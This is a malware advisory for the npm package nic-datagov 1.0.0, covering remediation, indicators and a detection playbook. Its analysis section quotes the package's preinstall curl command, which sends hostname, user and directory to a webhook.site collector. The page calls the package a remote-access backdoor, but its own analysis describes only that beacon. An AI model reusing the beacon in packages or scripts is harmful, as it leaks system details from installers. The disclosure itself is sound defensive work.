Which versions of nic-datagov are malicious?

The following npm versions of nic-datagov are flagged malicious: 1.0.0. Treat any of these as compromised.

How do I remediate nic-datagov if I installed it?

nic-datagov establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.

I already installed nic-datagov — how do I know if it already compromised me?

If nic-datagov was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Is nic-datagov part of a known attack campaign?

Yes — nic-datagov is associated with the IN-MAL-2026-006709 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find nic-datagov across my projects, lockfiles, and CI pipelines?

Search your lockfiles and build artifacts for nic-datagov (version 1.0.0).

Malicious package

nic-datagovnpm

Advisory published Jun 15, 2026Updated Jun 16, 2026

nic-datagov is a confirmed malicious npm package (MAL-2026-5836) that opens a backdoor for remote access (malicious version 1.0.0). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in nic-datagov (npm)

MAL-2026-5836

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall nic-datagov

What this malware does

package.json declares a preinstall script that runs curl --data-urlencode "info=$(hostname && whoami && pwd)" https://webhook.site/1ea0386f-dcc0-4f1b-bdbb-61732d6535fb/nic-datagov, sending the installer's hostname, current user, and working directory to a webhook.site collector on npm install. The package ships no library code and has no main/files consistent with its stated 'NIC Data.gov.in integration library' description — its sole effect on install is the recon beacon. The name and description impersonate India's NIC/data.gov.in branding, consistent with a targeted dependency-confusion probe against an internal/government namespace.

The OpenSSF Package Analysis project identified 'nic-datagov' @ 1.0.0 (npm) as malicious.

It is considered malicious because:

The package executes one or more commands associated with malicious behavior.

Malicious versions

1 flagged

1.0.0

Indicators of compromise (SHA-256)

89be7e0ea4d164dad90f5476041928d54d5502a066e22d501373e1bbf9dc8bbf

cde3f0f0a325ac483003eea66dda1dd21f2de2a149a97a7df41c7fb447c5a8ee

Detection & response playbook

Backdoor / remote access

Find it
Search your lockfiles and build artifacts for nic-datagov (version 1.0.0).
If you installed it — respond
nic-datagov establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.
Did it already run?
If nic-datagov was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. nic-datagov on npm has been identified as a malicious package (version 1.0.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-006709

References

npmjs.com

Credits

Amazon Inspector · finder
OpenSSF: Package Analysis · finder

Detect & block this

O3 blocks nic-datagov-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the C2 callback and severs the channel.

Malware detection Runtime egress monitoring

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